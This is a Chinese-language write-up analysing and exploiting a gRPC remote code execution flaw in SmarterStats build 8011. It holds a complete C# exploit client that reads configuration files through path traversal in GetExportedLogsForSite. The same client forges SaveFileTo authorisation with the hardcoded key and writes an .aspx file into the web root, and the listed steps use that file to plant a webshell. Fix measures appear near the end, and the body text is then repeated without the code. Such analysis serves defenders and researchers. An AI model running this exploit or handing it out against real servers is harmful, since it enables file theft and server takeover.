SmarterStats 基于gRPC的RCE
字数 1852 2025-08-27 12:33:37

SmarterStats基于gRPC的RCE漏洞分析与利用

1. 漏洞概述

SmarterStats是一款网站分析软件,其8011版本中存在基于gRPC协议的远程代码执行漏洞。攻击者可以通过gRPC接口实现任意文件读取和写入,最终可能导致远程代码执行。

2. 环境搭建

2.1 下载安装

  • 受影响版本:2016 8011版本
  • 下载地址:https://downloads.smartertools.com/smarterstats/100.0.8011/SmarterStats_8011.exe
  • 官方安装文档:https://help.smartertools.com/smarterstats/current/topics/Installation/Installation.aspx

2.2 服务分析

  • 主服务程序:SSSvc.exe
  • 监听端口:50003
  • 监听地址:默认0.0.0.0

3. 漏洞分析

3.1 服务启动流程

  1. main函数启动SSCollect服务类
  2. 服务类调用ServiceWorker.StartService()
  3. 新起线程运行ServiceLifetimeFunction函数
  4. 调用ServiceWorker.Start()
  5. 最终调用GrpcManager.StartGrpc()开启gRPC监听

3.2 gRPC服务接口

StartGrpc中定义了四个服务:

  1. Query -> QueryServiceImplementation
  2. SiteList -> SiteListServiceImplementation
  3. ServiceOperations -> ServiceOperationsServiceImplementation
  4. SiteControl -> SiteControlServiceImplementation

3.3 漏洞点分析

3.3.1 任意文件读取

位置:SStatSvc.Communication.ServiceOperationsServiceImplementation.GetExportedLogsForSite

  • 未对输入的文件路径进行有效过滤
  • 可通过路径遍历(..\..\)读取系统任意文件

3.3.2 任意文件写入

位置:SStatSvc.Communication.ServiceOperationsServiceImplementation.SaveFileTo

  • 虽然使用了加密key,但key是硬编码的
  • 加密key格式:MMddyyyy ksghsfkgjh
  • 可绕过加密机制实现任意文件写入

4. 漏洞利用

4.1 利用准备

  1. 创建C# gRPC项目
  2. 引用SmarterStats相关dll
  3. 使用Query.BindService(new QueryServiceImplementation()).Intercept(interceptor)提供的rpc client工具类

4.2 利用代码示例

using Grpc.Core;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using SmarterStats.Config.Protos;
using Google.Protobuf.WellKnownTypes;
using SmarterStats.Config.Utility;
using System.IO;
using Google.Protobuf;

namespace Routeguide
{
    class Program
    {
        static async Task<int> Main(string[] args)
        {
            // 建立gRPC连接
            var channel = new Channel("172.16.16.132:50003", ChannelCredentials.Insecure);
            ServiceOperations.ServiceOperationsClient client = new ServiceOperations.ServiceOperationsClient(channel);
            
            // 任意文件读取
            GetExportedLogsForSiteRequest request = new GetExportedLogsForSiteRequest();
            request.FileToDownload = @"..\..\MRS\App_Data\Config\AppConfig.xml";
            AsyncServerStreamingCall<GetExportedLogsForSiteResponse> asyncServerStreamingCall = client.GetExportedLogsForSite(request);
            while (await asyncServerStreamingCall.ResponseStream.MoveNext())
            {
                Console.WriteLine(asyncServerStreamingCall.ResponseStream.Current.Data.ToStringUtf8());
            }
            
            // 任意文件写入
            SaveFileToRequest saveFileToRequest = new SaveFileToRequest();
            saveFileToRequest.Filename = @"C:\Program Files (x86)\SmarterTools\SmarterStats\MRS\test.aspx";
            CryptographyHelper cryptographyHelper = new CryptographyHelper(0);
            Timestamp timestamp = Timestamp.FromDateTime(DateTime.UtcNow);
            saveFileToRequest.CreationDate = timestamp;
            saveFileToRequest.LastWriteDate = timestamp;
            
            // 设置加密key
            cryptographyHelper.SetKey(saveFileToRequest.CreationDate.ToDateTime().ToString("MMddyyyy") + " ksghsfkgjh", null);
            string auth = cryptographyHelper.EncodeToBase64(saveFileToRequest.Filename);
            saveFileToRequest.Auth = auth;
            
            // 写入文件内容
            saveFileToRequest.FileData = ByteString.CopyFromUtf8(File.ReadAllText(@"1.txt"));
            client.SaveFileTo(saveFileToRequest);
            
            Console.WriteLine("write done.");
            Console.ReadKey();
            return 0;
        }
    }
}

4.3 利用步骤

  1. 通过GetExportedLogsForSite读取敏感文件
  2. 构造恶意文件内容
  3. 使用SaveFileTo写入Web目录
  4. 访问写入的WebShell实现RCE

5. 漏洞修复

5.1 修复措施

  1. GetExportedLogsForSite

    • 对文件名进行截取处理
    • 增加鉴权机制
  2. SaveFileTo

    • 限制文件后缀白名单
    • 使用正则表达式限制路径

5.2 安全建议

  1. 升级到最新版本
  2. 限制gRPC服务监听地址为127.0.0.1
  3. 实施网络访问控制

6. 技术思考

  1. gRPC协议构造

    • 如果没有提供的ServiceOperationsClient类,可以通过分析gRPC协议结构手动构造请求
    • 使用Wireshark可以捕获gRPC请求结构,包括URI、UA、params等
  2. 反序列化问题

    • gRPC协议本身可能存在反序列化漏洞
    • 需要进一步分析Protobuf序列化过程的安全性

7. 参考资源

  1. 原始漏洞报告:https://frycos.github.io/vulns4free/2022/06/17/yet-another-rpc-framework.html
  2. gRPC官方文档:https://grpc.io/
  3. Protocol Buffers文档:https://developers.google.com/protocol-buffers
SmarterStats基于gRPC的RCE漏洞分析与利用 1. 漏洞概述 SmarterStats是一款网站分析软件,其8011版本中存在基于gRPC协议的远程代码执行漏洞。攻击者可以通过gRPC接口实现任意文件读取和写入,最终可能导致远程代码执行。 2. 环境搭建 2.1 下载安装 受影响版本:2016 8011版本 下载地址:https://downloads.smartertools.com/smarterstats/100.0.8011/SmarterStats_ 8011.exe 官方安装文档:https://help.smartertools.com/smarterstats/current/topics/Installation/Installation.aspx 2.2 服务分析 主服务程序:SSSvc.exe 监听端口:50003 监听地址:默认0.0.0.0 3. 漏洞分析 3.1 服务启动流程 main 函数启动 SSCollect 服务类 服务类调用 ServiceWorker.StartService() 新起线程运行 ServiceLifetimeFunction 函数 调用 ServiceWorker.Start() 最终调用 GrpcManager.StartGrpc() 开启gRPC监听 3.2 gRPC服务接口 StartGrpc 中定义了四个服务: Query -> QueryServiceImplementation SiteList -> SiteListServiceImplementation ServiceOperations -> ServiceOperationsServiceImplementation SiteControl -> SiteControlServiceImplementation 3.3 漏洞点分析 3.3.1 任意文件读取 位置: SStatSvc.Communication.ServiceOperationsServiceImplementation.GetExportedLogsForSite 未对输入的文件路径进行有效过滤 可通过路径遍历( ..\..\ )读取系统任意文件 3.3.2 任意文件写入 位置: SStatSvc.Communication.ServiceOperationsServiceImplementation.SaveFileTo 虽然使用了加密key,但key是硬编码的 加密key格式: MMddyyyy ksghsfkgjh 可绕过加密机制实现任意文件写入 4. 漏洞利用 4.1 利用准备 创建C# gRPC项目 引用SmarterStats相关dll 使用 Query.BindService(new QueryServiceImplementation()).Intercept(interceptor) 提供的rpc client工具类 4.2 利用代码示例 4.3 利用步骤 通过 GetExportedLogsForSite 读取敏感文件 构造恶意文件内容 使用 SaveFileTo 写入Web目录 访问写入的WebShell实现RCE 5. 漏洞修复 5.1 修复措施 GetExportedLogsForSite : 对文件名进行截取处理 增加鉴权机制 SaveFileTo : 限制文件后缀白名单 使用正则表达式限制路径 5.2 安全建议 升级到最新版本 限制gRPC服务监听地址为127.0.0.1 实施网络访问控制 6. 技术思考 gRPC协议构造 : 如果没有提供的 ServiceOperationsClient 类,可以通过分析gRPC协议结构手动构造请求 使用Wireshark可以捕获gRPC请求结构,包括URI、UA、params等 反序列化问题 : gRPC协议本身可能存在反序列化漏洞 需要进一步分析Protobuf序列化过程的安全性 7. 参考资源 原始漏洞报告:https://frycos.github.io/vulns4free/2022/06/17/yet-another-rpc-framework.html gRPC官方文档:https://grpc.io/ Protocol Buffers文档:https://developers.google.com/protocol-buffers